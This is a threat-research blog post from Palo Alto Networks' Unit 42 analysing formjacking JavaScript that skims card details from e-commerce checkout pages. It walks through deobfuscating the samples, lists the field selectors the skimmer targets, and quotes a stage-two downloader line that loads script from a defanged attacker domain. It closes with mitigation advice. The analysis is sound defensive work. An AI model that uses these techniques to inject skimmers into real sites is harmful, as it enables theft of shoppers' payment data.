Anatomy of Formjacking Attacks

By , , and

Category: Unit 42

Tags: ,

This post is also available in: 日本語 (Japanese)

Executive Summary

The rise of the Internet has contributed positively in many ways to people's lives and you can find almost any service on the internet now. However, the convenience of the internet also opens a gate to use malware to steal people's confidential information, and unfortunately, more and more malware authors are taking advantage of this.

Formjacking, where cybercriminals inject malicious JavaScript code to hack a website and take over the functionality of the site's form page to collect sensitive user information, is one of the fastest growing forms of cyber attack. It is designed to steal credit card details and other personal information from payment forms that are captured on the “checkout” pages of e-commerce websites.

When a user unknowingly visits a compromised shopping website which has been hacked, they put items in their cart and go to checkout, inputting their credit card information (e.g. Name, address, email, credit card number, CVV, expiration date, etc.) on the checkout page. When they click the "checkout" or "submit" button, a malicious code collects the users' input information and sends it to an attacker’s Command & Control (C2) server. The original purchase request is unaffected by this and the user receives their products as expected. Many large websites have been compromised using this technique, such as British Airways, Ticketmaster, Delta, Newegg and Sports Collectibles.

The process flow is in Figure 1, below:

Formjacking flow
Figure 1. Formjacking process flow

Writing formjacking code and deploying it to a compromised site is not very difficult for an attacker to do and allows them to steal credit card information quickly and easily without needing to deploy malware or compromise a system.

This makes it very attractive for attackers, especially considering e-commerce service is very popular today.

This blog provides a deep-dive into how formjacking code works. Palo Alto Networks customers are protected from this type of attack: WildFire detects and correctly identifies formjacking attacks as malicious and PANDB also identifies the URLs as malicious.

Typical Formjacking Attack

Below is a typical formjacking sample, which as of April 8, 2020 was only detected as malicious by three entities in VirusTotal. (SHA256:a79da1f007cfc88e4f8ae13623e2b752d2da03bcf9d51a74ea1fca2e6e6fca14)

The code is very long and highly obfuscated; we had to deobfuscate it before we were able to read it. Below is part of the original code.

At first, we can see the basic construct is:

Taking var1 as an example, we break it down into three parts:

  • ["W*![EnTa/mKelU*R=R'3/ngu8mpe/rqxo7N_EcglaDrvtla5qoK'!]" is the first part and is an encrypted string.
  • [(785034646 * "kNL7xIvgS.\x85j}_K=" ["charCodeAt"](2) + 22.0)["toString"](("Y^8ZH/D:0$or5<+\x8aqU" ["charCodeAt"](3) * 0 +36.0))] is the second part.
    1. We can calculate (785034646 * "kNL7xIvgS.\x85j}_K=" ["charCodeAt"](2) + 22.0) to get 59662633118.
    2. We can also calculate ("Y^8ZH/D:0$or5<+\x8aqU" ["charCodeAt"](3) * 0 +36.0)) to get 36.
    3. So the second part is the same as (59662633118).toString(36), which means the result is "replace" string, refer to toString function documentation.
  • (/[\!8ET\/WNl5vRDpgUqKx37]/g, "") is the third part, which is a regex pattern.

Since var1 is the same as "xxxxx".replace(/[\!8ET\/WNl5vRDpgUqKx37]/g, ""), that means it uses the regex to decrypt the string. After decryption, var1 is "*[name*='numero_cartao']".

Finally we can deobfuscate the above code to below:

Below is another part of the original code.

We can deobfuscate the above to get the below code:

Now, let’s deobfuscate the original core code, shown below.

Now we can figure out the main flow of events:

  1. It creates a listener on the "DOMContentLoaded" and "load" events, so once a page finishes loading, it will execute the sHv function, which creates a timer to execute the yFj function every 7 seconds.
  2. The yFj function will scan all payment-related buttons in the page using ("button[onclick*='.save']" and "button[class*='checkout']"). If one exists, it will create "click" and "mousedown" listeners with the event function zTI.
  3. When a user clicks a related button, the zTI function is triggered and it will collect any values from below the html element by document.querySelector (see the pa4 function), and these values include credit card information:
    • window["payment_checkout1"] = ["*[name*='numero_cartao']", "input[id*='cc_number']", "*[name*='cc_num']"]
    • window["payment_checkout2"] = ["*[name*='expiracao_mes']", "*[name*='cc_exp_m']", "*[name*='expirationMonth']"]
    • window["payment_checkout3"] = ["*[name*='expiracao_ano']", "*[name*='cc_exp_y']", "*[name*='expirationYear']"]
    • window["payment_checkout4"] = ["*[name*='codigo_seguranca']", "input[id*='cc_cid']", "*[name*='cc_cid']"]
  • Then it will call the hZy and F8S functions to encrypt the collected data.
  • At last, it will call the wIW function to send the data to the remote server.

The main process flow is shown below in Figure 2.

Formjacking code flow
Figure 2. Formjacking code flow

Simply to say, it will listen to the “click” event, once you click, it will collect all payment information which you fill in form, and send it to the C2 server.

An Advanced Example

An advanced Formjacking sample can hide itself more craftily, which makes it very hard to be tracked. We use the below SHA256 for this analysis.

(SHA256: 5775efac071288ff6632056635f285b03bf2ab6d6dee1fd902555e256fe63119)

At a glance, it is not hard to read, the code is only a few lines.


The above 4 steps:

  1. Create a PFG variable, which is a string constructor function.
  2. Use a loop to decrypt the stage 2 code and assign it to the qKn variable.
  3. Overwrite the hAn.toString function with the PFG.constructor(qKn).constructor.
  4. Execute the hAn.toString() function so it will execute "xxx".constructor(qKn).constructor(), which will execute qKn as code. In step 2, qKn was assigned as the stage 2 code.

Next we analyzed the stage two code, hash shown below.


It uses a "regex" to obfuscate the code, which we mentioned before. After deobfuscation, we can figure out it is only a downloader as it only:

  1. Creates a DOM element: cdn=document.createElement("script")
  2. Sets the element source url to: cdn.src="hxxps://xxxxxx[.]com/js/content.js";
  3. Appends this element to the DOM tree.

So it would download stage 3 code from hxxps://myxintad[.]com/js/content.js, but the URL is no longer accessible. While we can not get its content, our previous analysis shows attackers can use powerful JavaScript to do lots of things:

    • Obfuscate and encrypt code.
    • Only put a downloader in a target website, and put the real malicious code in their own remote server. This allows attackers to change its content easily and decide when it is accessible.
    • Create multi-stage malware to make it more difficult to track, as in this case with stages 1 through 3…it can greatly frustrate researchers.

More Advanced Skills

Sometimes, malware authors will use some advanced skills to make code difficult to debug. We use the below hash for this example. It is similar to the one analyzed above, but it has extra anti-debug code, shown obfuscated below.


The deobfuscated code is:

The code uses two skills to make it hard to be analyzed:

  1. It checks if you are using Firebug debugger to debug code.
  2. It uses a JavaScript conditional operator to execute different branch code for different detection results. Sometimes malware even uses cascading javascript conditional operators, like "condition1 ? aaa: (condition2? bbb: (condition3? ccc: ddd)))", that is very very hard to set a debug breakpoint.


JavaScript is not a new technology, it has been in use for more than 20 years, and is continuously updated. Today, most websites use Javascript, and we believe JavaScript attacks like formjacking are becoming a trend.

To mitigate risks, online retailers and e-commerce sites are advised to patch all of their systems, components, and web plugins to avoid being compromised. Additionally, it’s best practice to regularly conduct web content integrity checks offline to see if your pages were edited and had malicious JS code inserted by attackers. Lastly, make sure you’re using strong passwords on your content management system (CMS) administrators to make it less susceptible for brute force attacks.

For consumers shopping on these sites, we recommend paying via the one-time payment option that’s frequently offered (e.g. PayPal. Visa Secured, etc.) instead of your credit card whenever possible. If you believe your credit card information was stolen as a result of a recent online purchase, you should contact your bank to freeze or change your card immediately. Additionally, consider putting a freeze on your credit so that new accounts can’t be opened up using your personal information.

Palo Alto Networks customers are protected from this type of attack: WildFire detects and correctly identifies formjacking attacks as malicious and PANDB also identifies the URLs as malicious.


We would like to thank Kyle Wilhoit, Jen Miller Osborn and Mark Karayan for their advice and help with improving the blog.